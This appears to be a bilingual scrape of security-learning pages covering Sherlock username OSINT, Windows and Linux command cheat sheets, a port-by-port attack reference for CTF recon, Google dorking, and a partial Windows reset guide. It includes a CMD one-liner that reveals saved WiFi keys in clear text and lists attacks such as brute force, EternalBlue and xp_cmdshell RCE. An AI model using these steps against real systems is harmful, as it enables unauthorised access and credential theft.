- **Pivoting from an alias to an identity:** when a bug bounty report or a phishing investigation only gives a username, Sherlock helps find which other platforms that same person uses the same alias on.
- **Checking my own footprint:** seeing on how many sites an account under an old alias I no longer use still exists.
- **A starting point, not a conclusion:** a username existing on a site doesn't confirm it's the same person — cross-reference it with more signals before treating it as confirmed.
## Link
[github.com/sherlock-project/sherlock →](https://github.com/sherlock-project/sherlock?ref=thehacksparrow.com)
> **Qué es** — Sherlock busca un **nombre de usuario** en más de 300 redes sociales y plataformas a la vez, y te dice en cuáles existe una cuenta con ese alias. Es la herramienta complementaria natural a Have I Been Pwned: HIBP busca por email en brechas conocidas, Sherlock busca por *username* en registros activos actuales.
| **Tipo** | CLI (Python) |
| --------- | ----------------------------------------------------------------------------------------------------------- |
| **Coste** | Gratis, open source |
| **Repo** | [github.com/sherlock-project/sherlock](https://github.com/sherlock-project/sherlock?ref=thehacksparrow.com) |
## Cómo se usa
```bash
git clone https://github.com/sherlock-project/sherlock.git
cd sherlock
python3 -m pip install -r requirements.txt
```
```bash
python3 sherlock usuario_objetivo
```
Guardar los resultados en un fichero:
```bash
python3 sherlock usuario_objetivo --output resultados.txt
```
> Sherlock comprueba, para cada sitio de su lista, si esa URL de perfil devuelve un "existe" o un "no existe" — no inicia sesión ni interactúa con la cuenta, solo consulta si el nombre está en uso.
## Para qué lo uso yo
- **Pivotar de un alias a una identidad:** cuando un informe de bug bounty o una investigación de phishing solo aporta un username, Sherlock ayuda a encontrar en qué otras plataformas usa esa misma persona el mismo alias.
- **Verificar mi propia huella:** comprobar en cuántos sitios sigue existiendo una cuenta con un alias antiguo que ya no uso.
- **Punto de partida, no conclusión:** que un username exista en un sitio no confirma que sea la misma persona — hay que cruzarlo con más señales antes de darlo por bueno.
## Enlace
[github.com/sherlock-project/sherlock →](https://github.com/sherlock-project/sherlock?ref=thehacksparrow.com)
### Basic PowerShell & CMD Commands
URL: https://thehacksparrow.com/guia-comandos-powershell/
Last updated: 2026-09-23T10:26:22.000Z
> A reference for **basic CMD and PowerShell commands** — the Windows equivalent of the Linux commands cheat sheet. Includes the equivalent of each typical action (navigation, processes, network) in both shells, since on real machines you can run into either one.
| **Type** | Command reference |
| ---------- | ----------------------------------- |
| **Shells** | CMD (command prompt) and PowerShell |
## CMD — basic commands
| Task | CMD command | Description |
| ------------------------ | ----------------------------------- | ---------------------------------- |
| List folder contents | dir | Lists files and folders |
| Change directory | cd folder\_name | Enters a folder |
| Go up one level | cd .. | Returns to the parent folder |
| Clear screen | cls | Clears the console |
| Create/remove folder | mkdir name / rmdir name | Creates or removes an empty folder |
| Delete a file | del file.txt | Deletes a file |
| Copy / move files | copy source dest / move source dest | Copies or moves/renames |
| Show current path | cd | Shows the current directory |
| View network config | ipconfig | IP addresses and interfaces |
| View active processes | tasklist | List of running processes |
| Kill a process | taskkill /IM name.exe /F | Closes a process by name |
| View a file's content | type file.txt | Shows the file's text |
| System information | systeminfo | Windows version, hotfixes, etc. |
| Active connections/ports | netstat | Network status |
| View current privileges | whoami /priv | Current user's permissions |
## Viewing saved WiFi passwords (CMD, as admin)
```text
for /f "skip=9 tokens=1,2 delims=:" %i in ('netsh wlan show profiles') do @echo SSID: %j & netsh wlan show profile name=%j key=clear | findstr /C:"Key Content"
```
## PowerShell — basic commands
PowerShell uses *cmdlets* with the `Verb-Noun` structure (e.g. `Get-Process`, `Set-Location`, `New-Item`).
| Task | PowerShell command | Description |
| --------------------- | --------------------------------------------- | --------------------------------------- |
| List folder contents | Get-ChildItem / ls | Lists files and folders |
| Change directory | Set-Location name / cd name | Enters a folder |
| Clear screen | Clear-Host / cls | Clears the console |
| Create a folder | New-Item -ItemType Directory -Name name | Creates a folder |
| Delete folder/file | Remove-Item name -Recurse | Deletes a folder (with content) or file |
| Copy / move files | Copy-Item source dest / Move-Item source dest | Copies or moves/renames |
| Show current path | Get-Location | Current directory |
| View IP address | Get-NetIPAddress | Network configuration |
| View active processes | Get-Process | List of processes |
| Kill a process | Stop-Process -Name name | Closes a process |
| Test connectivity | Test-Connection google.com | Network test |
| View services | Get-Service | System services |
| Help for a cmdlet | Get-Help | Built-in documentation |
## Useful shortcuts
| Shortcut | Action |
| -------- | ------------------------------------ |
| Ctrl + L | Clears the screen |
| Ctrl + C | Stops or cancels the running command |
> Referencia de **comandos básicos de CMD y PowerShell** — el equivalente Windows a la chuleta de comandos Linux. Incluye el equivalente de cada acción típica (navegación, procesos, red) en ambas shells, ya que en máquinas reales te puedes encontrar cualquiera de las dos.
| **Tipo** | Referencia de comandos |
| ---------- | -------------------------------------- |
| **Shells** | CMD (símbolo del sistema) y PowerShell |
## CMD — comandos básicos
| Tarea | Comando CMD | Descripción |
| ---------------------------- | ----------------------------------------- | ---------------------------------- |
| Ver contenido de una carpeta | dir | Lista archivos y carpetas |
| Cambiar de carpeta | cd nombre\_carpeta | Entra en una carpeta |
| Subir un nivel | cd .. | Vuelve a la carpeta anterior |
| Limpiar pantalla | cls | Limpia la consola |
| Crear/eliminar carpeta | mkdir nombre / rmdir nombre | Crea o borra una carpeta vacía |
| Eliminar archivo | del archivo.txt | Borra un archivo |
| Copiar / mover archivos | copy origen destino / move origen destino | Copia o mueve/renombra |
| Ver ruta actual | cd | Muestra el directorio actual |
| Ver configuración de red | ipconfig | Direcciones IP e interfaces |
| Ver procesos activos | tasklist | Lista de procesos en ejecución |
| Terminar un proceso | taskkill /IM nombre.exe /F | Cierra un proceso por nombre |
| Ver contenido de un archivo | type archivo.txt | Muestra el texto del archivo |
| Información del sistema | systeminfo | Versión de Windows, hotfixes, etc. |
| Conexiones y puertos activos | netstat | Estado de la red |
| Ver privilegios actuales | whoami /priv | Permisos del usuario actual |
## Ver contraseñas WiFi guardadas (CMD, como admin)
```text
for /f "skip=9 tokens=1,2 delims=:" %i in ('netsh wlan show profiles') do @echo SSID: %j & netsh wlan show profile name=%j key=clear | findstr /C:"Contenido"
```
## PowerShell — comandos básicos
PowerShell usa *cmdlets* con la estructura `Verbo-Sustantivo` (ej. `Get-Process`, `Set-Location`, `New-Item`).
| Tarea | Comando PowerShell | Descripción |
| ---------------------------- | --------------------------------------------------- | --------------------------------------- |
| Ver contenido de una carpeta | Get-ChildItem / ls | Lista archivos y carpetas |
| Cambiar de carpeta | Set-Location nombre / cd nombre | Entra en una carpeta |
| Limpiar pantalla | Clear-Host / cls | Limpia la consola |
| Crear carpeta | New-Item -ItemType Directory -Name nombre | Crea una carpeta |
| Eliminar carpeta/archivo | Remove-Item nombre -Recurse | Borra carpeta (con contenido) o archivo |
| Copiar / mover archivos | Copy-Item origen destino / Move-Item origen destino | Copia o mueve/renombra |
| Ver ruta actual | Get-Location | Directorio actual |
| Ver dirección IP | Get-NetIPAddress | Configuración de red |
| Ver procesos activos | Get-Process | Lista de procesos |
| Terminar un proceso | Stop-Process -Name nombre | Cierra un proceso |
| Comprobar conexión | Test-Connection google.com | Prueba de red |
| Ver servicios | Get-Service | Servicios del sistema |
| Ayuda sobre un cmdlet | Get-Help | Documentación integrada |
## Atajos útiles
| Atajo | Acción |
| -------- | -------------------------------------- |
| Ctrl + L | Baja la pantalla para dejarla limpia |
| Ctrl + C | Detener o cancelar el comando en curso |
### Basic Linux Commands
URL: https://thehacksparrow.com/guia-comandos-linux/
Last updated: 2026-09-23T10:26:23.000Z
> A reference for **basic Linux commands** — navigation, file management, processes, and networking. Meant as a quick lookup, not a step-by-step tutorial, whether you're coming from Windows or just need to recall exact syntax for something.
| **Type** | Command reference |
| --------- | ----------------- |
| **Shell** | bash / sh |
## Navigation and files
| Action | Command | Description |
| --------------------- | ---------------------------------- | ------------------------------------------------ |
| List folder contents | ls | Lists files and folders in the current directory |
| Detailed listing | ls -l | Shows permissions, owner, size and date |
| Include hidden files | ls -la | Includes hidden files (starting with .) |
| Change directory | cd folder | Enters a folder |
| Go up one level | cd .. | Returns to the parent directory |
| Show current path | pwd | Directory you're in (print working directory) |
| Create a folder | mkdir name | Creates a new folder |
| Create nested folders | mkdir -p path1/path2/path3 | Creates the whole path at once |
| Create an empty file | touch file.txt | Creates an empty file |
| View a file's content | cat file.txt | Shows the full content |
| View with pagination | less file.txt | Browse content page by page |
| Copy a file/folder | cp source dest / cp -r source dest | \-r to copy whole folders |
| Move or rename | mv source dest | Moves or renames files/folders |
| Delete a file/folder | rm file / rm -r folder | \-r for non-empty folders |
## Permissions and users
| Action | Command | Description |
| ----------------------- | --------------- | ----------------------------------- |
| Admin privileges | sudo command | Runs a specific command as root |
| Persistent root session | sudo su | Stays root so you don't repeat sudo |
| View current user | whoami | Who you are |
| View logged-in users | who | List of active sessions |
| Change password | passwd | Changes the current user's password |
| View system users | cat /etc/passwd | Lists all local accounts |
## Search and filtering
| Action | Command | Description |
| ----------------------- | ------------------------------------------------------ | ---------------------------------------------------- |
| Search text in a file | grep "word" file.txt | Finds text matches |
| Find files by name | find /path -name "file.txt" | Searches by name in a path |
| Count lines/words/bytes | wc file.txt | Quick file statistics |
| Count matches | curl -s https://site.com \\\| grep -o "word" \\| wc -l | Typical combo to count how many times a term appears |
## Processes, network and system
| Action | Command | Description |
| --------------------- | --------------------- | -------------------------------------- |
| View active processes | ps aux | Lists every process on the system |
| Find a process | ps aux \\\| grep name | Filters the process list |
| Kill a process | kill PID | Stops a process by its ID |
| View the machine's IP | ip a / ifconfig | Interfaces and IP addresses |
| Test connectivity | ping google.com | Checks network connectivity |
| Disk space | df -h | Free/used space in human-readable form |
| Memory usage | free -h | Used and free RAM |
## Redirection and chaining
| Action | Command | Description |
| --------------------- | --------------------- | ------------------------------------------- |
| Save output to a file | command > output.txt | Overwrites the file |
| Append to a file | command >> output.txt | Doesn't overwrite, appends |
| Chain commands | command1 && command2 | Runs the second only if the first succeeded |
## Bash scripts
```bash
#!/bin/bash
```
First line ("shebang") so the file is recognised as a bash script. Run it with:
```bash
chmod +x script.sh
./script.sh
```
> Referencia de **comandos Linux básicos** — navegación, gestión de archivos, procesos y red. Pensada como consulta rápida, no como tutorial paso a paso, tanto si vienes de Windows como si necesitas recordar la sintaxis exacta de algo puntual.
| **Tipo** | Referencia de comandos |
| --------- | ---------------------- |
| **Shell** | bash / sh |
## Navegación y ficheros
| Acción | Comando | Descripción |
| ---------------------------- | ---------------------------------------- | ---------------------------------------------------- |
| Ver contenido de una carpeta | ls | Lista archivos y carpetas del directorio actual |
| Ver contenido detallado | ls -l | Muestra permisos, propietario, tamaño y fecha |
| Ver también ocultos | ls -la | Incluye archivos ocultos (los que empiezan por .) |
| Cambiar de carpeta | cd carpeta | Entra en una carpeta |
| Subir un nivel | cd .. | Vuelve al directorio anterior |
| Mostrar ruta actual | pwd | Directorio en el que estás (print working directory) |
| Crear una carpeta | mkdir nombre | Crea una carpeta nueva |
| Crear carpetas anidadas | mkdir -p ruta1/ruta2/ruta3 | Crea toda la ruta de una vez |
| Crear archivo vacío | touch archivo.txt | Crea un archivo vacío |
| Ver contenido de un archivo | cat archivo.txt | Muestra el contenido completo |
| Ver con desplazamiento | less archivo.txt | Navega el contenido página a página |
| Copiar archivo/carpeta | cp origen destino / cp -r origen destino | \-r para copiar carpetas completas |
| Mover o renombrar | mv origen destino | Mueve o renombra archivos/carpetas |
| Eliminar archivo/carpeta | rm archivo / rm -r carpeta | \-r para carpetas con contenido |
## Permisos y usuarios
| Acción | Comando | Descripción |
| ------------------------------ | --------------- | --------------------------------------- |
| Permisos de admin | sudo comando | Ejecuta un comando concreto como root |
| Sesión root persistente | sudo su | Fija root para no repetir sudo |
| Ver usuario actual | whoami | Quién eres |
| Ver usuarios con sesión activa | who | Lista de sesiones abiertas |
| Cambiar contraseña | passwd | Cambia la contraseña del usuario actual |
| Ver los usuarios del sistema | cat /etc/passwd | Lista todas las cuentas locales |
## Búsqueda y filtrado
| Acción | Comando | Descripción |
| ---------------------------- | -------------------------------------------------------- | ------------------------------------------------------ |
| Buscar texto en un archivo | grep "palabra" archivo.txt | Busca coincidencias de texto |
| Buscar archivos por nombre | find /ruta -name "archivo.txt" | Busca por nombre en una ruta |
| Contar líneas/palabras/bytes | wc archivo.txt | Estadísticas rápidas de un archivo |
| Contar coincidencias | curl -s https://web.com \\\| grep -o "palabra" \\| wc -l | Combinado típico para contar apariciones de un término |
## Procesos, red y sistema
| Acción | Comando | Descripción |
| -------------------- | ----------------------- | -------------------------------------- |
| Ver procesos activos | ps aux | Lista todos los procesos del sistema |
| Buscar un proceso | ps aux \\\| grep nombre | Filtra la lista de procesos |
| Terminar un proceso | kill PID | Detiene un proceso por su ID |
| Ver IP del equipo | ip a / ifconfig | Interfaces y direcciones IP |
| Probar conectividad | ping google.com | Comprueba la conexión de red |
| Espacio en disco | df -h | Espacio libre/usado en formato legible |
| Uso de memoria | free -h | RAM usada y libre |
## Redirección y encadenado
| Acción | Comando | Descripción |
| ------------------------- | --------------------- | ---------------------------------------------- |
| Guardar salida en archivo | comando > salida.txt | Sobrescribe el archivo |
| Añadir al final | comando >> salida.txt | No sobrescribe, añade |
| Encadenar comandos | comando1 && comando2 | Ejecuta el segundo solo si el primero fue bien |
## Scripts de bash
```bash
#!/bin/bash
```
Primera línea ("shebang") para que el archivo sea reconocido como script de bash. Se ejecuta con:
```bash
chmod +x script.sh
./script.sh
```
### Services by Port — Enumeration & Attacks
URL: https://thehacksparrow.com/guia-servicios-puertos/
Last updated: 2026-09-23T10:55:53.000Z
> A quick reference for **what to do based on the port/service** that shows up in an Nmap scan: what to try first, which tool to reach for, and how likely that service is to be the way in. Meant to be consulted during a machine's recon, not read top to bottom.
| **Type** | Reference table |
| -------- | ------------------------- |
| **Use** | Quick lookup during recon |
## Full port table
| Port | Service | Attacks / tests | Tools | Priority |
| ----------- | ------------- | ------------------------------------------------------- | ------------------------------------- | ---------------------------- |
| 21 | FTP | Anonymous login, brute force, vulnerable versions (RCE) | ftp, hydra, nmap --script ftp-\* | 🔥 High |
| 22 | SSH | Password spraying, brute force (with prior credentials) | ssh, hydra, ncrack | ⚠️ Medium |
| 23 | Telnet | Banner grabbing, brute force — plaintext, insecure | telnet, hydra | 🟡 Low |
| 25 | SMTP | User enumeration, Open Relay, spoofing | telnet, swaks, nmap --script smtp-\* | 🔥 High |
| 53 | DNS | Zone transfer (AXFR), subdomain fuzzing | dig, nslookup, dnsenum, fierce | 🔥 High |
| 67-68 | DHCP | Rogue DHCP (MITM) | — | ⚠️ Low |
| 69 | TFTP | Download/read accessible files | tftp, tftp-hpa | 🔥 High if readable/writable |
| 80 / 443 | HTTP / HTTPS | Fuzzing, LFI, RCE, RFI, SQLi — most exploitable in CTF | gobuster, feroxbuster, whatweb, nikto | 🔥🔥 Very high |
| 110 / 143 | POP3 / IMAP | Password spraying, extracting emails | hydra, telnet, openssl | Medium |
| 135 | RPC | Enumerating exposed modules (lots of Windows info) | rpcclient, nmap --script rpcinfo | 🔥 High |
| 137-139 | NetBIOS | Share enumeration (pairs with SMB) | nbtscan, enum4linux | Medium |
| 389 / 636 | LDAP | User enumeration/dumping | ldapsearch, enum4linux | High |
| 445 | SMB | Full enumeration, EternalBlue, relay, brute force | enum4linux, netexec, smbclient | 🔥🔥 Very high |
| 1433 | MSSQL | Login, xp\_cmdshell (can give RCE) | hydra, mssqlclient.py | 🔥 High |
| 1521 | Oracle | Enumeration, brute force | odat | Medium |
| 2049 | NFS | List and mount exports — bad permissions = direct read | showmount, mount | 🔥 High |
| 2181 | Zookeeper | Reading data without auth | nc, zkCli.sh | Medium |
| 3306 | MySQL | Weak passwords, database dumps | mysql, mysqldump, hydra | High |
| 3389 | RDP | Password spraying, BlueKeep if vulnerable | xfreerdp, hydra | Medium |
| 5900 | VNC | Brute force — sometimes no password at all | vncviewer, hydra | Medium |
| 5985 / 5986 | WinRM | Password spraying, direct remote execution | evil-winrm, netexec | 🔥 Very high |
| 6379 | Redis | No auth usually gives a direct shell (write SSH keys) | redis-cli | 🔥 Very high |
| 8000-9000 | Dev servers | App enumeration, exploit frameworks | whatweb, gobuster | High |
| 9200 | Elasticsearch | RCE in many vulnerable versions | curl, public PoCs | High |
| 11211 | Memcached | Memory dump — reading keys/users | memcdump | High |
## Detail on the most common services
### SMB (445) — one of the most important
Historically one of the most vulnerable services. Enumerate shares and users, try password spraying, and if the version is old, check for EternalBlue. `enum4linux` and `netexec` are the usual starting point.
### WinRM (5985/5986)
If you have valid credentials (or a hash for Pass-the-Hash), WinRM gives direct remote execution via `evil-winrm` — usually the final step after obtaining credentials on a Windows domain.
### DNS (53)
Always check whether it allows **zone transfer (AXFR)** — misconfigured, it reveals the entire internal domain structure at once. Otherwise, subdomain fuzzing with `dnsenum`/`fierce`.
### MSSQL (1433)
If you get a login, `xp_cmdshell` is the stored procedure that lets you run OS commands directly from SQL — RCE if enabled (or if you have permissions to enable it).
### RDP (3389)
Full graphical connection once you have credentials. Vulnerable to BlueKeep (CVE-2019-0708) on unpatched versions — pre-authentication RCE.
### NFS (2049)
`showmount -e ` lists which folders it exports. If permissions are misconfigured (`no_root_squash`, no IP restriction), you can mount and read/write directly with no authentication at all.
> Referencia rápida de **qué hacer según el puerto/servicio** que aparece en un escaneo de Nmap: qué probar primero, con qué herramienta, y qué tan probable es que ese servicio sea el camino de entrada. Pensada para consultar durante el reconocimiento de una máquina, no para leer de un tirón.
| **Tipo** | Tabla de referencia |
| -------- | ----------------------------- |
| **Uso** | Consulta rápida durante recon |
## Tabla completa por puerto
| Puerto | Servicio | Ataques / pruebas | Herramientas | Prioridad |
| ----------- | ------------- | ---------------------------------------------------------------------- | ------------------------------------- | -------------------------------- |
| 21 | FTP | Login anónimo, fuerza bruta, versiones vulnerables (RCE) | ftp, hydra, nmap --script ftp-\* | 🔥 Alta |
| 22 | SSH | Password spraying, fuerza bruta (con credenciales previas) | ssh, hydra, ncrack | ⚠️ Media |
| 23 | Telnet | Banner grabbing, fuerza bruta — texto plano, inseguro | telnet, hydra | 🟡 Baja |
| 25 | SMTP | Enumeración de usuarios, Open Relay, spoofing | telnet, swaks, nmap --script smtp-\* | 🔥 Alta |
| 53 | DNS | Zone transfer (AXFR), fuzzing de subdominios | dig, nslookup, dnsenum, fierce | 🔥 Alta |
| 67-68 | DHCP | Rogue DHCP (MITM) | — | ⚠️ Baja |
| 69 | TFTP | Descargar/leer archivos accesibles | tftp, tftp-hpa | 🔥 Alta si es legible/escribible |
| 80 / 443 | HTTP / HTTPS | Fuzzing, LFI, RCE, RFI, SQLi — el más explotable en CTF | gobuster, feroxbuster, whatweb, nikto | 🔥🔥 Muy alta |
| 110 / 143 | POP3 / IMAP | Password spraying, extracción de correos | hydra, telnet, openssl | Media |
| 135 | RPC | Enumeración de módulos expuestos (mucha info en Windows) | rpcclient, nmap --script rpcinfo | 🔥 Alta |
| 137-139 | NetBIOS | Enumeración de shares (va con SMB) | nbtscan, enum4linux | Media |
| 389 / 636 | LDAP | Enumeración/dump de usuarios | ldapsearch, enum4linux | Alta |
| 445 | SMB | Enumeración total, EternalBlue, relay, fuerza bruta | enum4linux, netexec, smbclient | 🔥🔥 Muy alta |
| 1433 | MSSQL | Login, xp\_cmdshell (puede dar RCE) | hydra, mssqlclient.py | 🔥 Alta |
| 1521 | Oracle | Enumeración, fuerza bruta | odat | Media |
| 2049 | NFS | Listar y montar exportaciones — permisos mal puestos = lectura directa | showmount, mount | 🔥 Alta |
| 2181 | Zookeeper | Lectura de datos sin auth | nc, zkCli.sh | Media |
| 3306 | MySQL | Contraseñas débiles, dump de bases | mysql, mysqldump, hydra | Alta |
| 3389 | RDP | Password spraying, BlueKeep si es vulnerable | xfreerdp, hydra | Media |
| 5900 | VNC | Fuerza bruta — a veces sin contraseña | vncviewer, hydra | Media |
| 5985 / 5986 | WinRM | Password spraying, ejecución remota directa | evil-winrm, netexec | 🔥 Muy alta |
| 6379 | Redis | Sin auth suele dar shell directa (escribir SSH keys) | redis-cli | 🔥 Muy alta |
| 8000-9000 | Dev servers | Enumeración de apps, frameworks de exploit | whatweb, gobuster | Alta |
| 9200 | Elasticsearch | RCE en muchas versiones vulnerables | curl, PoCs públicos | Alta |
| 11211 | Memcached | Dump de memoria — lectura de claves/usuarios | memcdump | Alta |
## Detalle de los servicios más frecuentes
### SMB (445) — uno de los más importantes
Históricamente uno de los servicios más vulnerables. Enumera shares y usuarios, prueba password spraying, y si la versión es antigua, comprueba EternalBlue. `enum4linux` y `netexec` son el punto de partida habitual.
### WinRM (5985/5986)
Si tienes credenciales válidas (o un hash para Pass-the-Hash), WinRM da ejecución remota directa con `evil-winrm` — normalmente el último paso tras conseguir credenciales en un dominio Windows.
### DNS (53)
Comprueba siempre si permite **zone transfer (AXFR)** — mal configurado, revela toda la estructura interna del dominio de golpe. Si no, fuzzing de subdominios con `dnsenum`/`fierce`.
### MSSQL (1433)
Si consigues login, `xp_cmdshell` es el procedimiento almacenado que permite ejecutar comandos del sistema operativo directamente desde SQL — RCE si está habilitado (o si tienes permisos para habilitarlo).
### RDP (3389)
Conexión gráfica completa una vez tienes credenciales. Vulnerable a BlueKeep (CVE-2019-0708) en versiones sin parchear — RCE previo a autenticación.
### NFS (2049)
`showmount -e ` lista qué carpetas exporta. Si los permisos están mal configurados (`no_root_squash`, sin restricción de IP), puedes montar y leer/escribir directamente sin ninguna autenticación.
### Google Dorking
URL: https://thehacksparrow.com/guia-google-dorking/
Last updated: 2026-09-23T10:55:54.000Z
> **Google Dorking** is using Google's advanced search operators to find specific information a normal search doesn't surface well: specific documents on a domain, pages with an exact title, indexed content nobody links to directly. It's one of the fastest **passive OSINT** techniques there is — you never touch the target, you just query Google's index.
| **Type** | Search technique (no installable tool) |
| --------- | -------------------------------------------- |
| **Cost** | Free |
| **Where** | google.com (or bing.com with similar syntax) |
## Operators
| Operator | What it's for | Example |
| ----------- | --------------------------------------------------- | ----------------------------------------- |
| site: | Restricts results to a domain or subdomain | site:university.edu filetype:pdf "manual" |
| filetype: | Filters by file type (pdf, docx, xls, ppt...) | filetype:pdf "annual report" |
| inurl: | Pages containing text in the URL | inurl:blog "wifi" |
| intitle: | Words in the page title | intitle:"faq" site:gov |
| intext: | Terms within the page's text | intext:"privacy policy" site:company.com |
| allinurl: | All words must be in the URL (stricter than inurl:) | allinurl: /docs install guide |
| allintitle: | All words in the title | allintitle: router installation manual |
| allintext: | All words in the text | allintext: budget 2024 report |
| \- (dash) | Excludes a term | recipes -chicken |
| "..." | Exact phrase | "lease agreement" |
| OR / \| | Logical OR | iphone OR "i phone" |
| \* | Wildcard inside a phrase | "best \* 2025" |
| cache: | Google's cached copy of a page | cache:example.com |
| related: | Pages related to a URL | related:bbc.com |
| info: | Info Google has indexed about a URL | info:example.com |
| define: | Quick definition of a term | define:phishing |
| AROUND(n) | Words within *n* words of each other | "security AROUND(5) networks" |
## Practical combinations
```text
# PDF manuals on a specific domain
site:example.com filetype:pdf "manual"
# Opinion pieces on a topic, only .es domains
site:.es intitle:"opinion" "solar energy"
# Pages similar to a reference outlet
related:bbc.com
# Exact phrase, excluding a specific subdomain
"terms and conditions" -site:blog.example.com
```
## What it's used for in security
- **Bug bounty recon:** finding subdomains, leaked internal documents, exposed login panels (`intitle:"index of" site:target.com`) or forgotten backups publicly accessible.
- **OSINT on an organisation:** documents with metadata (employee names, software used), internal structure leaked through public PDFs or presentations.
- **Checking your own exposure:** search your domain with `filetype:pdf` or `filetype:xls` to see what internal documents might be indexed without your knowledge.
> Finding something with a dork doesn't grant you permission to access it if it's protected — the search itself is passive and legal, but what you do with what you find is still bound by the usual rules (program scope, explicit authorisation).
> **Google Dorking** es usar operadores de búsqueda avanzados de Google para encontrar información específica que un buscador normal no filtra bien: documentos concretos en un dominio, páginas con un título exacto, contenido indexado que nadie enlaza directamente. Es una de las técnicas de **OSINT pasivo** más rápidas que existen — no tocas el objetivo, solo interrogas el índice de Google.
| **Tipo** | Técnica de búsqueda (sin herramienta instalable) |
| --------- | ------------------------------------------------ |
| **Coste** | Gratis |
| **Dónde** | google.com (o bing.com con sintaxis similar) |
## Operadores
| Operador | Para qué sirve | Ejemplo |
| ----------- | --------------------------------------------------------------------- | ------------------------------------------------ |
| site: | Restringe resultados a un dominio o subdominio | site:universidad.edu filetype:pdf "manual" |
| filetype: | Filtra por tipo de archivo (pdf, docx, xls, ppt...) | filetype:pdf "informe anual" |
| inurl: | Páginas que contienen un texto en la URL | inurl:blog "wifi" |
| intitle: | Palabras en el título de la página | intitle:"preguntas frecuentes" site:gov |
| intext: | Términos dentro del texto de la página | intext:"política de privacidad" site:empresa.com |
| allinurl: | Todas las palabras deben estar en la URL (más restrictivo que inurl:) | allinurl: /docs guia instalacion |
| allintitle: | Todas las palabras en el título | allintitle: manual instalacion router |
| allintext: | Todas las palabras en el texto | allintext: presupuesto 2024 informe |
| \- (guion) | Excluye un término | recetas -pollo |
| "..." | Frase exacta | "contrato de arrendamiento" |
| OR / \| | Operador lógico OR | iphone OR "i phone" |
| \* | Comodín dentro de una frase | "mejor \* 2025" |
| cache: | Copia en caché de Google de una página | cache:example.com |
| related: | Páginas relacionadas con una URL | related:bbc.com |
| info: | Información indexada por Google sobre una URL | info:example.com |
| define: | Definición rápida de un término | define:phishing |
| AROUND(n) | Palabras a menos de *n* palabras de distancia | "seguridad AROUND(5) redes" |
## Combinaciones prácticas
```text
# Manuales PDF en un dominio concreto
site:ejemplo.com filetype:pdf "manual"
# Artículos de opinión sobre un tema, solo en dominios .es
site:.es intitle:"opinion" "energía solar"
# Páginas similares a un medio de referencia
related:elpais.com
# Frase exacta, excluyendo un subdominio concreto
"términos y condiciones" -site:blog.ejemplo.com
```
## Para qué se usa en seguridad
- **Recon de bug bounty:** encontrar subdominios, documentos internos filtrados, paneles de login expuestos (`intitle:"index of" site:objetivo.com`) o backups olvidados accesibles públicamente.
- **OSINT sobre una organización:** documentos con metadatos (nombres de empleados, software usado), estructura interna filtrada en PDFs o presentaciones públicas.
- **Verificar tu propia exposición:** busca tu dominio con `filetype:pdf` o `filetype:xls` para ver qué documentos internos podrían estar indexados sin que lo sepas.
> Encontrar algo con un dork no te da permiso para acceder a ello si está protegido — la búsqueda es pasiva y legal, pero lo que hagas con lo que encuentres sigue sujeto a las mismas reglas de siempre (scope del programa, autorización explícita).
### Reset & Clean-Install Windows 11
URL: https://thehacksparrow.com/guia-formatear-windows-11/
Last updated: 2026-09-23T10:55:55.000Z
> **When to use this guide** — before selling or giving away a machine, when a Windows install has years of accumulated cruft and runs slow, or when you suspect persistent malware you can't otherwise clean out. "Reset this PC" reinstalls Windows 11 from scratch without needing an installation USB.
| **System** | Windows 11 / 10 (nearly identical process) |
| ------------------ | ------------------------------------------------ |
| **Estimated time** | 30-90 min depending on install type |
| **Requires** | Internet connection if you choose cloud download |
## 0\. Before anything — back up
Save anything important to a USB drive or the cloud. **"Reset this PC" with "Remove everything" deletes files, apps and settings** — there's no going back once you confirm.
## Steps
| # | Step |
| - | ----------------------------------------------------------------------------------- |
| 1 | Press Start → type "Recovery" → open **Recovery options** |
| 2 | Click **"Reset this PC"** → "Reset PC" |
| 3 | Choose **"Remove everything"** — a real clean install, not "Keep my files" |
| 4 | Pick the install type (see table below) |
| 5 | Under "Change settings", decide whether to properly wipe the disk (see table below) |
| 6 | Confirm the summary and click **"Reset"** |
## Install type: cloud vs local
| Option | What it does | When to choose it |
| ---------------------------- | ------------------------------------------------------------- | ------------------------------------------------------------------------- |
| Cloud download (recommended) | Downloads the latest Windows 11 build directly from Microsoft | Whenever you have decent bandwidth — guarantees the newest, clean version |
| Local reinstall | Uses the files already present on disk | Faster, but can carry over remnants if the system was damaged or infected |
## Data cleanup: quick vs secure
| Option | What it does | When to choose it |
| ------------------------------ | -------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------- |
| ❌ Just remove my files | Quick delete — files could still be recovered with forensic software | Personal use, you're keeping the machine |
| ✅ Clean the data (recommended) | Secure full-disk wipe, much slower | You're selling, gifting, or disposing of the machine — prevents the next owner recovering your data |
> From a security standpoint, the difference between these two options is exactly the difference between *deleting* a file and *overwriting* it: a quick delete only removes the file's reference in the filesystem, but the data physically remains on disk until something overwrites it — recoverable with standard forensic tools.
## After the reset
- Windows boots with factory settings, no previous apps or files
- You'll need to reinstall programs and restore your backup
- Good moment to enable BitLocker, check Windows Update, and remove any preinstalled bloatware
> **Cuándo usar esta guía** — antes de vender o regalar un equipo, cuando un Windows lleva años acumulando basura y va lento, o cuando sospechas que hay malware persistente que no consigues limpiar de otra forma. "Restablecer este PC" reinstala Windows 11 desde cero sin necesidad de un USB de instalación.
| **Sistema** | Windows 11 / 10 (proceso casi idéntico) |
| ------------------- | ------------------------------------------------- |
| **Tiempo estimado** | 30-90 min según el tipo de instalación |
| **Requiere** | Conexión a internet si eliges descarga en la nube |
## 0\. Antes de nada — copia de seguridad
Guarda lo importante en un USB o en la nube. **"Restablecer este PC" con "Quitar todo" borra archivos, aplicaciones y configuraciones** — no hay vuelta atrás una vez confirmas.
## Pasos
| # | Paso |
| - | -------------------------------------------------------------------------------------- |
| 1 | Pulsa Inicio → escribe "Recuperación" → entra en **Opciones de recuperación** |
| 2 | Haz clic en **"Restablecer este PC"** → "Restablecer PC" |
| 3 | Elige **"Quitar todo"** — instalación limpia real, no "Conservar mis archivos" |
| 4 | Elige el tipo de instalación (ver tabla siguiente) |
| 5 | En "Cambiar configuración", decide si limpiar bien el disco o no (ver tabla siguiente) |
| 6 | Confirma el resumen y pulsa **"Restablecer"** |
## Tipo de instalación: nube vs local
| Opción | Qué hace | Cuándo elegirla |
| --------------------------------- | -------------------------------------------------------------- | ------------------------------------------------------------------------------- |
| Descarga en la nube (recomendado) | Baja la última versión de Windows 11 directamente de Microsoft | Siempre que tengas buena conexión — garantiza la versión más reciente y limpia |
